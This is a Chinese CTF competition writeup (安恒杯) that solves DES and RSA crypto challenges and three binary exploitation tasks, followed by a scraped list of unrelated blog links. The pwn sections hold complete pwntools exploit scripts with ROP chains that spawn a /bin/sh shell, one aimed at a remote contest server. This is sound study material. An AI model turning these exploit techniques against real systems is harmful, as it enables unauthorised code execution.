• #### 安恒杯_writeup

下面为比赛中做出的题目

MISC: SHOW ME THE FLAG-by-cyyzore

CRYPTO: LAZYATTACK-by-GoldsNow

这一题非常巧。所有的队伍里面仅仅有我们一个队伍将其做出来。

这一题做出来完全然全是靠运气,在当我做出这一题的时候感觉是懵逼的,全然不知道是怎么回事,flag一下子就出来了并且对了,非常兴奋。队友都相互说用了和出题人同一个软件,才得到的答案。结果确实是和出题人用了同一个软件。

首先,因为巧合。师兄说了C语言跑的会比python快,然后去网上找C语言的DES解密代码。于是乎在网上找了两个版本号的DES解密。一种仅仅能解决8位

明文与8位密钥的算法。然后果断扔掉。

另一个版本号就是和出题人一样的。预计出题人也是网上拉的代码。

看都不看的,加密解密验证一下就出题目了。

因为懒得改动程序,就新建了key.txt (这个也奠定了能够得到flag的基础。) 其实密钥 就是key.txt。只是一定要用C语言来解密,其它的语言解密无效。

DES解密程序的主函数例如以下

int main()
{
DES_Encrypt("1.txt","key.txt","2.txt");
system("pause");
DES_Decrypt("2.txt","key.txt","3.txt");
getchar();
return 0;
}

注:这个是刚刚下载下来的时候的代码。

1.txt 是须要加密的文字,key.txt就是密钥!

密钥。。

2.txt 是加密后的文字。3.txt是解密后的文字。

题目错误分析过程:

一、 解密程序。

①当key.txt里面什么都不写的时候。

②当key.txt里面随便乱填的时候。

③当key.txt名称换成key1.txt且里面什么都不填的时候

**这个时候就没有flag了!

④当key1.txt乱填的时候:**

和③产生的结果是一样的。

二、同理生成代码的程序

相同的效果。不反复描写叙述了。

三、代码分析

出题人使用的DES源代码:DOWNLOAD IT!

CRYPTO:RSAROLL-by-wintersun

题目提示说不要用微软的notepad。机智的我。果断没用。

  1. 使用notapad++打开文件。

    例如以下

  1. 使用RSATOOLS爆破密钥(软件放群里了)

  1. 解密代码例如以下
import binascii

# n = 0x367198D6B5614E95813ADD8F22A4717BC72BE1EABD933D1B86944FDB75B8ED230BE62D7D1B69D222095C128C86F82012ECB116191FD9D018A6D02F84DB27BC51A21307DC86F4BF771C691C143E5ABE549B5BD2D6EB1A21FD6270E7E1B48FE0611FBB2E1B0B3524E6F4DE8B4E4A345DA44A13DE825B72608DB6C7C4A40B78266E6C87BBFDEF6B48381D49C4507A58BCD47B76D64B45908B158BD7EBC4DACB0B1CFD6C2C19574F40EB2EFD0E9E10DC7005CAD39BCAF52B9EAC3873368D69031C5E724684A44F068EFD1D3DC096D9B5D6411E58BDEE43E46B99A0D0494B9DB28195AF901AFF130D4A6E203DAD08DA57FA7E40262A5BADB2A323EDA28B44696AB305D
# d = 4221909016509078129201801236879446760697885220928506696150646938237440992746683409881141451831939190609743447676525325543963362353923989076199470515758399L
# c = 0x1e04304936215de8e21965cfca9c245b1a8f38339875d36779c0f123c475bc24d5eef50e7d9ff5830e80c62e8083ec55f27456c80b0ab26546b9aeb8af30e82b650690a2ed7ea407dcd094ab9c9d3d25a93b2140dcebae1814610302896e67f3ae37d108cd029fae6362ea7ac1168974c1a747ec9173799e1107e7a56d783660418ebdf6898d7037cea25867093216c2c702ef3eef71f694a6063f5f0f1179c8a2afe9898ae8dec5bb393cdffa3a52a297cd96d1ea602309ecf47cd009829b44ed3100cf6194510c53c25ca7435f60ce5f4f614cdd2c63756093b848a70aade002d6bc8f316c9e5503f32d39a56193d1d92b697b48f5aa43417631846824b5e86
n = 0x36D837C1
c = '704796792,752211152,274704164,18414022,368270835,483295235,263072905,459788476,483295235,459788476,663551792,475206804,459788476,428313374,475206804,459788476,425392137,704796792,458265677,341524652,483295235,534149509,425392137,428313374,425392137,341524652,458265677,263072905,483295235,828509797,341524652,425392137,475206804,428313374,483295235,475206804,459788476,306220148'
d = 0x5C5CED3
c = c.split(',')
flag=''
for x in c:
m = hex(pow(int(x),d,n)).rstrip("L")
flag+=chr(int(m[2:],16))
print flag
#print binascii.unhexlify('0'+m[2:])
raw_input()
PWN:PWN1-by-wintersun

链接,蒸米的文章

http://drops.wooyun.org/tips/6597

exp第一个改改就能用= =。。

这边题目没有提供libc给我们,可是system函数plt中有了,我们能够直接获取到system函数的地址。如今就还差一个”/bin/sh\0”。

我们能够利用rop,第一发先把”/bin/sh\0”写入到.bbs段,然后再来一发rop。调用system,触发”/bin/sh\0”。须要注意的是。要保持堆栈平衡。

exp例如以下:

#!/usr/bin/env python
from pwn import * elf = ELF('./pwn1')
plt_system = elf.symbols['system']
plt_scanf = elf.symbols['__isoc99_scanf']
vulfun_addr = 0x080485FD
p = remote('114.55.7.125',8000)
#p = process('./pwn1')
#p = remote('127.0.0.1', 10003) print "system_addr=" + hex(plt_system)
bss_addr = 0x0804a040
ppr = 0x80487ad
_256s = 0x0804888F
print repr(p.recvuntil(':'))
payload = 'a'*140 + p32(plt_scanf) + p32(ppr) + p32(_256s)+ p32(bss_addr)
payload += p32(plt_system) + p32(vulfun_addr) + p32(bss_addr)
print "\n###sending payload ...###"
p.sendline(payload)
print repr(p.recvuntil(':'))
raw_input()
p.sendline('1')
print repr(p.recvuntil('\n'))
p.sendline("/bin/sh\0") p.interactive()

我是切割线


我是切割线

下面是赛后解出的题目(各种參考资料。。)

PWN:PWN2

使用 file pwn2 查看elf文件信息。

pwn2: ELF 32-bit LSB executable, Intel 80386, version 1
(GNU/Linux), statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=0xf6065416aedf59fe9b12d75558caf75e535311bf,
not stripped

这是一个静态编译的文件,没有libc,使用IDA反编译发现,连个system都木有。

程序的简单流程:

首先申请一个内存空间,内存空间的单位为4个字节的int型,这个内存空间的长度由用户决定,这是第一个缺陷。程序提供四种运算。和最后一种保存功能。用户能够通过选择一种运算模式,然后输入x(整型)、y(整型)来进行运算,运算结果会逐个保存至一開始分配的内存空间上。

溢出点在memcpy(&v3, v5, 4 * v4);最后保存结果的时候把用户开辟的超长内存空间段复制到了栈上。。溢出。。

将超长内存空间复制到了栈上。导致栈溢出

法一:通过rop关闭DEP,然后跳转到栈上的shell。运行shell

法二:通过ROPgadget构造出一条能够获得shell的rop。

我们先採使用方法二。

。这比較简单,easy实现。

命令ROPgadget --binary pwn2 --ropchain

嗯。。

生成的ropchain是酱紫的。

#!/usr/bin/env python2
# execve generated by ROPgadget from struct import pack # Padding goes here
p = '' p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806ed31) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x08049781) # int 0x80

这里说一下,因为以往碰到的pwn题目输入都是为字符串,可是这题不一样,输入为整型,有个大小端的问题。

附:

pwn之%s与%d的问题研究。

大小端问题在字符串和整型存储时存在差异

字符串存储时没有大小端的问题,能够看作大端模式。

比方说0x0806ed0a,字符串存储的时候是从低往高的。
1 2 3 4
08 06 6e d0 。!! !然而,ret返回地址是由高向低,小端存储。 所以设置返回地址的时候,必须倒着来 \x0a\xed\x06\x08 这样子输入进去。这样ret才会读成0x0806ed0a,PC跳转到0x0806ed0a这个地址上 整型存储时。使用的是小端模式,数据是从高往低放的。输入0x0806ed0a时。 1 2 3 4
d0 6e d0 08
<切合ret阅读模式> 这个时候ret会直接返回0x0806ed0a

所以我们在放置payload的时候,要注意大小端的问题。

额外情况:

栈空间的计算,main函数默认会多出8个字节的栈空间。

exp例如以下

from pwn import *
context(arch='i386', os='linux', log_level='debug') p = process('./pwn2') ###set memery length
p.recvuntil(':')
p.sendline('255')#the biggest! ### calc reply
def calc(num):
p.recvuntil('result')
p.sendline('1')
p.recvuntil('x:')
p.sendline(str(num))
p.recvuntil('y:')
p.sendline('0')
p.recvuntil('\n')
###pading 16*4 byte
for x in range(11):calc(0x41414141)#44 byte
calc(0)#free v4
for x in range(4):calc(0x41414141) ### ropchain
ropchain = [0x0806ed0a,
0x080ea060,
0x080bb406,
0x6e69622f,
0x080a1dad,
0x0806ed0a,
0x080ea064,
0x080bb406,
0x68732f2f,
0x080a1dad,
0x0806ed0a,
0x080ea068,
0x08054730,
0x080a1dad,
0x080481c9,
0x080ea060,
0x0806ed31,
0x080ea068,
0x080ea060,
0x0806ed0a,
0x080ea068,
0x08054730,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x0807b75f,
0x08049781] ### send ropchain
for i in ropchain:
calc(i)
### sava and overflow
p.recvuntil('result')
p.sendline('5')
p.interactive()
PWN:PWN3

file查看下,动态编译的文件。

用IDA查看下溢出点在哪。

发现存在整数溢出:数组的索引,用户可控,该索引为有符号整型,存在溢出,在任何位置可写。

可写入最大字节数为 10*4 byte

要用这40 byte 来获得shell

先 scanf 把 “/bin/sh\0”写入至.bbs(8个字节刚刚好——要是不够怎么办?),然后再调用system函数。要注意保持堆栈平衡。

exp例如以下,感觉比pwn2简单。

。没实用到libc.so

#!/usr/bin/env python
from pwn import * context(arch='i386', os='linux', log_level='debug')
libc = ELF('libc.so')
pwn3 = ELF('pwn3') plt_system = pwn3.symbols['system']
plt_scanf = pwn3.symbols['__isoc99_scanf']
print "system_addr=" + hex(plt_system)
print "scanf_addr=" + hex(plt_scanf)
bss_addr = 0x0804a060
ppr = 0x080487de
vulfun_addr = 0x080485E7
_9s = 0x804884b
overflowint = -0x80000000 p = process('./pwn3')
### input name
p.recvuntil('name ')
p.sendline('ws')
### send payload 10 times
def setvalue(index,payload):
p.recvuntil('index')
p.sendline(str(index))
p.recvuntil('value')
p.sendline(str(payload)) ### scanf p %s .bss sys v .bss x x x
ropchain = [
plt_scanf,
ppr,
_9s,
bss_addr,
plt_system,
vulfun_addr,
bss_addr,
0x41414141,
0x41414141
]
i = 14 ### 数组索引是从0開始的。
for x in ropchain:
print overflowint+i
setvalue(overflowint+i,x)
i=i+1
raw_input()
setvalue(overflowint+27,0x41414141)
p.recvuntil('your input\n')
p.sendline("/bin/sh\0")
p.interactive()

【4.29安恒杯】writeup的更多相关文章

  1. 安恒杯 3月线上个人赛WriteUp

    #前言 这次做的还挺多的,只有个Web300没做出来,排名由上次60+进步到这次16名(最后三分钟掉了5名),感觉还是不错的.但是很明显,流量题有很大的运气成分.做完流量题之后还剩一个多小时,水了水M ...

  2. 安恒杯11月月赛web题目-ezsql详细记录

    通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass  linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...

  3. 2021 羊城杯WriteUP

    比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 ...

  4. 津门杯WriteUP

    最近很浮躁,好好学习 WEB power_cut 扫目录 index.php <?php class logger{ public $logFile; public $initMsg; publ ...

  5. 2017湖湘杯Writeup

    RE部分 0x01 Re4newer 解题思路: Step1:die打开,发现有upx壳. Step2:脱壳,执行upx -d 文件名即可. Step3:IDA打开,shift+F12看字符串. 点进 ...

  6. 蓝盾杯writeup

    由于比赛时只给了内网,web题目无法复现,这里就简单写一下misc的部分题目 1.眼花了吗 (默默吐槽居然是来自实验吧的原题) 提示:当眼花的时候会显示两张图,可以想到应该是包含双图的情况 用fore ...

  7. 安恒杯2月月赛-应该不是xss

    1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...

  8. 安恒杯-babysql

    1. 库名 ?id= and extractvalue(,(select group_concat(0x3a,schema_name) from information_schema.schemata ...

  9. 2018安恒杯11月月赛 MISC

    题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...

随机推荐

  1. [水煮 ASP.NET Web API2 方法论](1-8)添加 Session 状态

    问题 ASP.NET Web API 构建 Web 应用程序时,要求使用 Session 在服务器存储一些用户特定的信息 解决方案 ASP.NET Web API 不支持 Session,因为 API ...

  2. http测试工具ab

    转载:https://www.cnblogs.com/ym123/archive/2015/07/08/4629735.html ab的全称是Apache Bench,是Apache自带的网络压力测试 ...

  3. LintCode 13. Implement strStr()

    LintCode 13. Implement strStr() 题目描述 对于一个给定的 source 字符串和一个 target 字符串,你应该在 source 字符串中找出 target 字符串出 ...

  4. 0821Servlet基础

    什么是servlet    jsp页面的前身是servlet, 但是servlet和jsp是两个不同概念    servlet是运行在服务器端的一段程序, 是可以直接运行一段java后台代码      ...

  5. class getResourceAsStream 和 classloader getResourceAsStream获取资源的不同

    工程目录结构: prj(工程根目录) cn json classloader GetResourceByClassAndClassLoader.Java beans.xml /** * */ pack ...

  6. Poj1182 食物链(并查集/带权并查集)

    题面 Poj 题解 这里采用并查集的补集. \(x\)表示同类集合,\(x+n\)表示敌人集合,\(x+n\times2\)表示敌人的敌人集合. 如果当前给出的是一对同类关系,就判断\(x\)是否吃\ ...

  7. Linux基础系列-系统密码破解

    无引导介质(光盘.iso)救援模式下root密码破解 第一步: GRUB启动画面读秒时按上下方向键,进入GRUB界面 第二步: 使用上下光标键选择要修改的操作系统启动内核(默认选择的即可),按e键进行 ...

  8. java中ThreadLocal类的使用

    ThreadLocal是解决线程安全问题一个很好的思路,ThreadLocal类中有一个Map,用于存储每一个线程的变量副本,Map中元素的键为线程对象,而值对应线程的变量副本,由于Key值不可重复, ...

  9. [ARC062F]Painting Graphs with AtCoDeer

    题意:一个无向图,用$k$种不同的颜色给每条边染色,问能染出多少种不同的图,如果两张图能通过循环移位环边使得颜色相同,那么这两张图被认为是相同的 数学太差伤不起啊...补了一下Burnside定理的证 ...

  10. 【费用流】hdu5988 Coding Contest

    从源点向每个点连接容量为该点人数,费用为1的边, 把原图中的每条边拆成两条,一条容量为1,费用为1,另一条容量为ci-1,费用为1-pi 从每个点向汇点连接容量为该点面包数量,费用为1的边. 跑的费用 ...